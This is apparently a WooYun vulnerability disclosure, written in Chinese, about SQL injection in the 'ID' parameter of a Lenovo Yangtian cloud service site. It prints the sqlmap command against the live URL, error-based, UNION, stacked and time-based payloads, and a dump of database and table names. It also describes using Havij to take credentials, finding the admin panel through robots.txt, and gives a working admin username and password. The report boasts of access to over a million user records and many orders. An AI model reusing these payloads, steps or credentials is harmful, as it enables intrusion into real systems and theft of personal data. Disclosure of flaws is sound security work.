WooYun.org

站点：
http://yangtian.lenovo.net 联想扬天云服务
ID没有过滤，导致注射漏洞
sqlmap.py -u "http://yangtian.lenovo.net/userportal/productdetails.aspx?ID=c5KvbMJS" --dbs --current-user --current-db
sqlmap identified the following injection points with a total of 47 HTTP(s) requests:
---
Place: GET
Parameter: ID
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: ID=c5KvbMJS' AND 5106=CONVERT(INT,(CHAR(58)+CHAR(98)+CHAR(115)+CHAR(107)+CHAR(58)+(SELECT (CASE WHEN (5106=5106) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(119)+CHAR(122)+CHAR(119)+CHAR(58))) AND 'Rhfa'='Rhfa
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: ID=c5KvbMJS' UNION ALL SELECT NULL, NULL, NULL, NULL, CHAR(58)+CHAR(98)+CHAR(115)+CHAR(107)+CHAR(58)+CHAR(65)+CHAR(66)+CHAR(120)+CHAR(75)+CHAR(110)+CHAR(77)+CHAR(122)+CHAR(117)+CHAR(74)+CHAR(83)+CHAR(58)+CHAR(119)+CHAR(122)+CHAR(119)+CHAR(58)--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: ID=c5KvbMJS'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: ID=c5KvbMJS' WAITFOR DELAY '0:0:5'--
---
current user: 'PortalAdmin'
current database: 'PortalServer'
available databases [8]:
[*] master
[*] model
[*] msdb
[*] PortalServer
[*] ReportServer$LENOVODB_01
[*] ReportServer$LENOVODB_01TempDB
[*] tempdb
[*] YTWakeup
管理员用户

Database: PortalServer
[139 tables]
+------------------------------+
| dbo.8DDY |
| dbo.AccountingRecord |
| dbo.AdvertDetail |
| dbo.Advertisement |
| dbo.AgentDetail |
| dbo.AgentNews |
| dbo.AgentNewsRead |
| dbo.AppPlugin |
| dbo.AppThemeIconMapping |
| dbo.App_AppCatalog |
| dbo.App_AppPanpel |
| dbo.App_AppPlugin |
| dbo.App_Clinet |
| dbo.App_PluginImage |
| dbo.App_PushMessage |
| dbo.App_RAppCata |
| dbo.App_RAppPuroduct |
| dbo.App_RPanelItem |
| dbo.App_RPanelPlugin |
| dbo.App_SearchSetting |
| dbo.AreaMaster |
| dbo.AuthorUserInfo |
| dbo.BrowserCountLog |
| dbo.BusinessQueue |
| dbo.Card |
| dbo.CardBackup |
| dbo.CategoryApplication |
| dbo.ChoiceAppliaction |
| dbo.ClickCountLog |
| dbo.Contact |
| dbo.ContentMaster |
| dbo.Cooperative |
| dbo.CustomerMessage |
| dbo.DefaultProduct |
| dbo.DzpPrize |
| dbo.DzpPrize_Init |
| dbo.EnterpriseAccount |
| dbo.EnterpriseDepartment |
| dbo.EnterpriseInfo |
| dbo.EnterpriseInvite |
| dbo.FaqDetail |
| dbo.FeedBack |
| dbo.FlowOperation |
| dbo.FlowState |
| dbo.FlowStateOperationConfig |
| dbo.Fragment |
| dbo.GuestBook |
| dbo.GuestBookBanUser |
| dbo.GuestBookReply |
| dbo.HelpCategories |
| dbo.HelpFeedbacks |
| dbo.Helps |
| dbo.Icon |
| dbo.IcpCompany |
| dbo.IcpProductMapping |
| dbo.IcpUserHomepage |
| dbo.IcpUserInfo |
| dbo.IcpUserRequest |
| dbo.IcpUserScore |
| dbo.IndexClickLog |
| dbo.IndexSlide |
| dbo.IpAddress |
| dbo.IpAddressMaster |
| dbo.LanternBless |
| dbo.LanternBless0216 |
| dbo.LanternInviteUser |
| dbo.LenovoIcpDivide |
| dbo.LenovoYtBomIcpMapping |
| dbo.Location |
| dbo.LoginTip |
| dbo.MachineModel |
| dbo.ManageLog |
| dbo.ManageRight |
| dbo.ManageRole |
| dbo.ManageRoleRight |
| dbo.ManageUser |
| dbo.ManageUserRole |
| dbo.MessageType |
| dbo.Order |
| dbo.OrderAddOn |
| dbo.OrderBase |
| dbo.OrderPay |
| dbo.OrderProductMapping |
| dbo.OrderReceipt |
| dbo.OrderState |
| dbo.OrderTransInfo |
| dbo.PositionMaster |
| dbo.PriceType |
| dbo.Product |
| dbo.ProductCardMapping |
| dbo.ProductCardMappingBackup |
| dbo.ProductCardMapping_6660 |
| dbo.ProductCase |
| dbo.ProductCategory |
| dbo.ProductCategoryMapping |
| dbo.ProductDefaultBind |
| dbo.ProductIndexSetting |
| dbo.ProductPriceHistory |
| dbo.ProductPriceMapping |
| dbo.ProductPromotion |
| dbo.ProductRolesUsers |
| dbo.ProductTabAttribute |
| dbo.ProductTimesMapping |
| dbo.ProductTimesMode |
| dbo.PublishDetail |
| dbo.RecommendDetail |
| dbo.Region |
| dbo.RelationHelps |
| dbo.Sales |
| dbo.Scores |
| dbo.Sheet1$ |
| dbo.ShowMaster |
| dbo.SubAccountProductMapping |
| dbo.SystemModule |
| dbo.Theme |
| dbo.UserApp |
| dbo.UserInfo |
| dbo.UserInfoDzp |
| dbo.UserInfoDzp_bak |
| dbo.UserLoginInfo |
| dbo.UserLoginTip |
| dbo.UserMessage |
| dbo.UserNewProduct |
| dbo.UserProductMapping |
| dbo.UserProductTimesMapping |
| dbo.UserSex |
| dbo.UserType |
| dbo.ViActiveDetailReport |
| dbo.ViDefaultBind |
| dbo.ViKPIMonitorReport |
| dbo.ViSubAccountProduct |
| dbo.ViewProduct |
| dbo.WidgetInfo |
| dbo.backFragment |
| dbo.cardback0913 |
| dbo.defaultproduct1102 |
| dbo.helpnow |
| dbo.sysdiagrams |
| dbo.userinfo1116 |
+------------------------------+
穿山甲获取用户名密码信息

Havij获取网站管理后台

不过直接访问页面空白，不甘心啊，找到的用户名密码岂不是无用武之地了
故查看网站robots.txt

逐一试是不是都被屏蔽了，结果是最后1个能正常访问，访问的地址为http://yangtian.lenovo.net/AgentUser/login.aspx
看到这里大家都懂了吧，将/AgentUser/替换为/siteadmin/，可爱的后台出现了
http://yangtian.lenovo.net/siteadmin/login.aspx

验证码啥的都是浮云了。
登录用户名 8ddy.com 密码123456
网站人气真的很旺，注册用户都过百万了。

用户信息泄露

订单记录也有几万条

over